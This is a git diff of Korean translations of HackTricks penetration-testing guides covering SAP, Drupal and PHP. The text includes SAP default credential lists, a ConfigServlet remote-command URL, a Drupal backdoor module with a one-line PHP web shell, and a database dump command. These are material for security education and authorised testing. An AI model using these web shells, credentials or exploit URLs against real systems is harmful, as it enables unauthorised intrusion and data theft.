@ -50,15 +51,15 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
|
|||
|
||||
![SAP 로그온 화면](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||
|
||||
* nmap을 사용하여 열린 포트와 알려진 서비스\(sap 라우터, 웹다이노, 웹 서비스, 웹 서버 등\)를 확인합니다.
|
||||
* 열린 포트와 알려진 서비스\(sap 라우터, 웹다이노, 웹 서비스, 웹 서버 등\)를 확인하기 위해 nmap을 사용합니다.
|
||||
* 웹 서버가 실행 중인 경우 URL을 크롤링합니다.
|
||||
* 특정 포트에서 웹 서버가 실행 중인 경우 디렉토리를 퍼징합니다\(Burp Intruder를 사용할 수 있음\). 다음은 SecLists Project에서 제공하는 몇 가지 좋은 워드리스트입니다. 기본 SAP ICM 경로 및 기타 흥미로운 디렉토리 또는 파일을 찾기 위한 것입니다:
|
||||
* 특정 포트에서 웹 서버가 실행 중인 경우 디렉토리를 퍼징합니다\(Burp Intruder를 사용할 수 있음\). 다음은 기본 SAP ICM 경로 및 기타 흥미로운 디렉토리 또는 파일을 찾기 위한 SecLists Project에서 제공하는 좋은 워드리스트입니다:
|
||||
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
||||
|
||||
* SAP SERVICE DISCOVERY 보조 Metasploit 모듈을 사용하여 SAP 인스턴스/서비스/구성 요소를 열거합니다:
|
||||
* SAP 인스턴스/서비스/구성 요소를 열거하기 위해 SAP SERVICE DISCOVERY 보조 Metasploit 모듈을 사용합니다:
|
||||
```text
|
||||
msf > use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > show options
|
||||
|
@ -80,7 +81,7 @@ msf auxiliary(sap_service_discovery) > run
|
|||
다음은 SAP GUI에 연결하는 명령입니다.
|
||||
`sapgui <sap 서버 호스트 이름> <시스템 번호>`
|
||||
|
||||
* 기본 자격 증명을 확인하십시오 \(Bugcrowd의 취약점 등급 분류에서 이는 P1로 간주됩니다 -> 서버 보안 구성 오류 \| 기본 자격 증명 사용 \| 프로덕션 서버\) :
|
||||
* 기본 자격 증명 확인 \(Bugcrowd의 취약점 등급 분류에서 이는 P1로 간주됩니다 -> 서버 보안 구성 오류 \| 기본 자격 증명 사용 \| 프로덕션 서버\) :
|
||||
```text
|
||||
# SAP* - High privileges - Hardcoded kernel user
|
||||
SAP*:06071992:*
|
||||
|
@ -131,33 +132,33 @@ SAP*:Down1oad:000,001
|
|||
DEVELOPER:Down1oad:001
|
||||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
* Wireshark를 실행한 다음, SSL 없이 자격 증명을 전송하는 클라이언트(SAP GUI)에 인증합니다. SAP DIAG 프로토콜에서 사용되는 주요 헤더를 분석하는 두 가지 알려진 Wireshark 플러그인이 있습니다: SecureAuth Labs SAP dissection plug-in 및 Positive Research Center의 SAP DIAG 플러그인.
|
||||
* 낮은 권한을 가진 사용자를 위해 일부 SAP 트랜잭션 코드(tcodes)를 사용한 권한 상승 여부를 확인합니다:
|
||||
* Wireshark을 실행한 다음, SSL 없이 자격 증명을 전송하는 클라이언트(SAP GUI)에 인증합니다. SAP DIAG 프로토콜에서 사용하는 주요 헤더를 분석할 수 있는 두 가지 알려진 Wireshark 플러그인이 있습니다: SecureAuth Labs SAP dissection plug-in 및 Positive Research Center의 SAP DIAG 플러그인.
|
||||
* 낮은 권한을 가진 사용자를 위해 일부 SAP 트랜잭션 코드(tcodes)를 사용한 권한 상승을 확인합니다:
|
||||
* SU01 - 사용자 생성 및 유지 관리
|
||||
* SU01D - 사용자 표시
|
||||
* SU10 - 대량 유지 관리
|
||||
* SU02 - 프로필 수동 생성
|
||||
* SM19 - 보안 감사 - 구성
|
||||
* SE84 - SAP R/3 권한을 위한 정보 시스템
|
||||
* 클라이언트에서 시스템 명령을 실행하거나 스크립트를 실행할 수 있는지 확인합니다.
|
||||
* BAPI Explorer에서 XSS를 수행할 수 있는지 확인합니다.
|
||||
* SE84 - SAP R/3 권한에 대한 정보 시스템
|
||||
* 클라이언트에서 시스템 명령 실행/스크립트 실행 가능 여부 확인
|
||||
* BAPI Explorer에서 XSS 실행 가능 여부 확인
|
||||
|
||||
# 웹 인터페이스 테스트
|
||||
|
||||
* URL을 크롤링합니다(발견 단계 참조).
|
||||
* URL(발견 단계 참조)을 크롤링합니다.
|
||||
* 발견 단계와 같이 URL을 퍼징합니다. 다음은 [http://SAP:50000/index.html](http://sap:50000/index.html)의 모습입니다:
|
||||
|
||||
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
|
||||
* 몇 군데의 위치에는 XSS, RCE, XXE 등 취약점이 있으므로 일반적인 웹 취약점을 찾습니다(OWASP Top 10 참조).
|
||||
* 일반적인 웹 취약점을 찾습니다(OWASP Top 10 참조) - XSS, RCE, XXE 등의 취약점이 일부 위치에 존재할 수 있습니다.
|
||||
* 웹 취약점을 테스트하기 위해 Jason Haddix의 [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)를 확인합니다.
|
||||
* 동사 조작을 통한 인증 우회 가능성이 있을까요? 아마도 :\)
|
||||
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`를 열고 "Choose" 버튼을 클릭한 다음 열린 창에서 "Search"를 누릅니다. SAP 사용자 목록을 볼 수 있어야 합니다(취약점 참조: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)).
|
||||
* 자격 증명이 HTTP를 통해 제출되는지 확인합니다. 그렇다면 Bugcrowd의 [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)에 따라 P3로 간주됩니다: Broken Authentication and Session Management \| Weak Login Function Over HTTP. 힌트: [http://SAP:50000/startPage](http://sap:50000/startPage)나 로그온 포털을 확인하세요 :\)
|
||||
* 동사 조작을 통한 인증 우회 가능성 확인? 아마도 :\)
|
||||
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`를 열고 "Choose" 버튼을 클릭한 다음 열린 창에서 "Search"를 누릅니다. SAP 사용자 목록을 볼 수 있어야 합니다(취약점 참조: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
|
||||
* 자격 증명이 HTTP를 통해 제출되는지 확인합니다. 그렇다면 Bugcrowd의 [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)에 따르면 P3로 간주됩니다: Broken Authentication and Session Management \| Weak Login Function Over HTTP. 힌트: [http://SAP:50000/startPage](http://sap:50000/startPage) 또는 로그온 포털을 확인하세요 :\)
|
||||
|
||||
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
|
||||
* 가능한 디렉토리 목록 또는 인증 우회를 위해 `/irj/go/km/navigation/`를 시도합니다.
|
||||
* 가능한 디렉터리 목록 또는 인증 우회를 위해 `/irj/go/km/navigation/`를 시도합니다
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info)에는 유용한 정보가 포함되어 있습니다:
|
||||
```xml
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
|
@ -257,13 +258,13 @@ exploit/windows/lpd/saplpd 2008-02
|
|||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||||
```
|
||||
* 알려진 취약점(Exploit-DB를 확인하세요)이나 공격을 활용해 보세요. 예를 들어 고전이지만 효과적인 "SAP ConfigServlet 원격 코드 실행" 공격을 사용해 보세요:
|
||||
* 알려진 취약점(Exploit-DB를 확인하세요)이나 공격을 활용해 보세요. 예를 들어 과거에 사용되던 "SAP ConfigServlet 원격 코드 실행"과 같은 공격을 시도해 볼 수 있습니다:
|
||||
```text
|
||||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||||
```
|
||||
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
||||
|
||||
* `start` 명령을 실행하기 전에 Discovery 단계에서 취약성 평가를 수행하기 위해 다음을 추가할 수 있습니다:
|
||||
* `start` 명령을 실행하기 전에 Discovery 단계에서 취약점 평가를 수행하기 위해 다음을 추가할 수 있습니다:
|
||||
```text
|
||||
bizploit> plugins
|
||||
bizploit/plugins> vulnassess all
|
||||
|
@ -287,10 +288,10 @@ bizploit> start
|
|||
```
|
||||
# 기타 유용한 테스트 도구
|
||||
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP 보안을 평가하기 위한 Powershell 도구
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP 보안 평가를 위한 Powershell 도구
|
||||
* [Burp Suite](https://portswigger.net/burp) - 디렉터리 퍼징 및 웹 보안 평가에 필수적인 도구
|
||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP 네트워크 프로토콜 패킷을 생성하기 위한 Python 라이브러리
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmap이 SAP/ERP를 감지하는 데 도움을 주는 도구
|
||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP 네트워크 프로토콜 패킷을 작성하기 위한 Python 라이브러리
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - SAP/ERP 감지를 돕는 nmap
|
||||
|
||||
## 참고 자료
|
||||
|
||||
|
@ -299,13 +300,13 @@ bizploit> start
|
|||
* [SAP NetWeaver ABAP 보안 구성 파트 3: 응용 프로그램 접근을 위한 기본 암호](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [SAP 보안과 관련된 ABAP 트랜잭션 코드 목록](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||
* [SAP 포털 해킹](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||
* [가장 흥미로운 SAP 취약점 및 공격 10가지](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [가장 흥미로운 SAP 취약점 및 공격 10선](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [bizploit를 사용한 SAP 생태계 보안 평가: 발견](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -317,9 +318,9 @@ bizploit> start
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Discovery
|
||||
|
||||
* **메타** 확인
|
||||
* **메타**를 확인하세요
|
||||
```bash
|
||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||
```
|
||||
|
@ -46,7 +46,7 @@ curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
|
|||
Drupal 7.57, 2018-02-21
|
||||
```
|
||||
{% hint style="info" %}
|
||||
새로운 Drupal 설치는 기본적으로 `CHANGELOG.txt` 및 `README.txt` 파일에 대한 액세스를 차단합니다.
|
||||
드루팔의 최신 설치판은 기본적으로 `CHANGELOG.txt` 및 `README.txt` 파일에 대한 액세스를 차단합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 사용자 이름 열거
|
||||
|
@ -69,7 +69,7 @@ _ /user/register_에서 사용자 이름을 만들려고 시도하면 이름이
|
|||
|
||||
### 사용자 수 가져오기
|
||||
|
||||
_ /user/\<number>_에 액세스하여 기존 사용자 수를 볼 수 있습니다. 이 경우 _/users/3_은 찾을 수 없는 오류를 반환합니다:
|
||||
_ /user/\<number>_에 액세스하여 기존 사용자 수를 볼 수 있습니다. 이 경우 _/users/3_은 찾을 수 없는 오류를 반환하므로 2입니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (330).png>)
|
||||
|
||||
|
@ -77,7 +77,7 @@ _ /user/\<number>_에 액세스하여 기존 사용자 수를 볼 수 있습니
|
|||
|
||||
### 숨겨진 페이지
|
||||
|
||||
**`/node/$`로 퍼징하십시오. 여기서 `$`는 숫자** (예: 1에서 500까지).\
|
||||
**`/node/$`로 퍼징하십시오. 여기서 `$`는 숫자입니다** (예: 1에서 500까지).\
|
||||
검색 엔진에서 참조되지 않는 **숨겨진 페이지** (테스트, 개발)를 찾을 수 있습니다.
|
||||
|
||||
#### 설치된 모듈 정보
|
||||
|
@ -90,7 +90,7 @@ curl https://example.com/core/core.services.yml
|
|||
# Download content from files exposed in the previous step
|
||||
curl https://example.com/config/sync/swiftmailer.transport.yml
|
||||
```
|
||||
### 자동화
|
||||
### 자동
|
||||
```bash
|
||||
droopescan scan drupal -u http://drupal-site.local
|
||||
```
|
||||
|
@ -99,10 +99,10 @@ droopescan scan drupal -u http://drupal-site.local
|
|||
### PHP 필터 모듈을 사용한 RCE
|
||||
|
||||
{% hint style="warning" %}
|
||||
Drupal의 **이전 버전**(버전 8 이전)에서는 관리자로 로그인하여 `PHP 필터` 모듈을 **활성화**할 수 있었습니다. 이 모듈은 "내장 PHP 코드/스니펫을 평가할 수 있게 합니다."
|
||||
Drupal의 **이전 버전**(버전 8 이전)에서는 관리자로 로그인하여 **`PHP 필터` 모듈을 활성화**할 수 있었으며, 이 모듈은 "내장 PHP 코드/스니펫을 평가할 수 있게 합니다."
|
||||
{% endhint %}
|
||||
|
||||
**플러그인 php가 설치되어 있어야** 합니다(접근하여 _/modules/php_를 확인하고 **403**이 반환되면 **존재**합니다. **찾을 수 없으면**, **플러그인 php가 설치되어 있지 않습니다**)
|
||||
**플러그인 php가 설치되어 있어야** 합니다( _/modules/php_에 액세스하여 **403**이 반환되면 **설치된 것**, **찾을 수 없으면** 플러그인 php가 **설치되지 않은 것**입니다)
|
||||
|
||||
_Modules_로 이동 -> (**확인**) _PHP Filter_ -> _구성 저장_
|
||||
|
||||
|
@ -124,7 +124,7 @@ curl http://drupal-site.local/node/3
|
|||
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
3. 다운로드가 완료되면 **`관리`** > **`보고서`** > **`사용 가능한 업데이트`**로 이동합니다.
|
||||
4. **`찾아보기`**를 클릭하여 다운로드한 디렉토리에서 파일을 선택한 후 **`설치`**를 클릭합니다.
|
||||
5. 모듈이 설치되면 **`콘텐츠`**를 클릭하고 **Drupal 7 예제에서 한 것과 유사하게 새 기본 페이지를 만듭니다**. 다시 한번 **`텍스트 형식` 드롭다운에서 `PHP 코드`를 선택**해야 합니다.
|
||||
5. 모듈이 설치되면 **`콘텐츠`**를 클릭하고 **Drupal 7 예제에서 한 것과 유사하게 새 기본 페이지를 생성**합니다. 다시 한번 **`텍스트 형식` 드롭다운에서 `PHP 코드`를 선택**해야 합니다.
|
||||
|
||||
### 백도어 모듈
|
||||
|
||||
|
@ -141,19 +141,19 @@ tar xvf captcha-8.x-1.2.tar.gz
|
|||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* 다음으로, 우리는 폴더에 접근할 수 있도록 **`.htaccess`** 파일을 생성해야 합니다. 이것은 Drupal이 **`/modules`** 폴더에 직접 액세스하는 것을 거부하기 때문에 필요합니다.
|
||||
* 다음으로, **`.htaccess`** 파일을 만들어서 해당 폴더에 액세스할 수 있도록 해야 합니다. Drupal은 **`/modules`** 폴더에 직접 액세스하는 것을 거부하기 때문에 이 작업이 필요합니다.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더로 복사하고 아카이브를 만듭니다.
|
||||
* 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더로 복사하고 아카이브를 생성하십시오.
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* 웹 사이트에 **관리자 액세스**가 있다고 가정하고, 사이드바에서 **`관리`**를 클릭한 다음 **`확장`**을 클릭합니다. 그 다음 **`+ 새 모듈 설치`** 버튼을 클릭하면 `http://drupal-site.local/admin/modules/install`과 같은 설치 페이지로 이동합니다. 백도어가 설치된 Captcha 아카이브로 이동하여 **`설치`**를 클릭합니다.
|
||||
* 웹 사이트에 **관리자 액세스**가 있다고 가정하고 사이드바에서 **`Manage`**를 클릭한 다음 **`Extend`**를 클릭합니다. 그 다음 **`+ 새 모듈 설치`** 버튼을 클릭하면 `http://drupal-site.local/admin/modules/install`과 같은 설치 페이지로 이동합니다. 백도어가 설치된 Captcha 아카이브로 이동하여 **`Install`**을 클릭합니다.
|
||||
* 설치가 성공하면 **`/modules/captcha/shell.php`**로 이동하여 명령을 실행합니다.
|
||||
|
||||
## 사후 침투
|
||||
|
@ -170,21 +170,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,25 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 쿠키 공통 위치:
|
||||
|
||||
이는 phpMyAdmin 쿠키에도 적용됩니다.
|
||||
이것은 phpMyAdmin 쿠키에도 적용됩니다.
|
||||
|
||||
쿠키:
|
||||
```
|
||||
|
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### 느슨한 비교/타입 강제 변환 ( == )
|
||||
|
||||
만약 PHP에서 `==`가 사용된다면, 비교가 예상대로 작동하지 않는 경우가 발생할 수 있습니다. 이는 "=="가 값들을 동일한 유형으로 변환한 후에만 비교하기 때문입니다. 만약 비교하는 데이터의 유형도 동일한지 확인하려면 `===`를 사용해야 합니다.
|
||||
PHP에서 `==`를 사용하면 예상치 못한 경우가 발생하여 비교가 예상대로 작동하지 않을 수 있습니다. 이는 "=="가 값만 동일한 유형으로 변환하여 비교하기 때문입니다. 비교하는 데이터의 유형도 동일한지 비교하려면 `===`를 사용해야 합니다.
|
||||
|
||||
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -47,17 +47,17 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 동일합니다.
|
||||
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일한 경우 True가 됩니다 (문자열 내의 숫자는 숫자로 해석됨)
|
||||
* `"0e3264578" == 0 --> True` "0e"로 시작하고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
|
||||
* `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이미 이 형식으로 해싱된 문자열을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
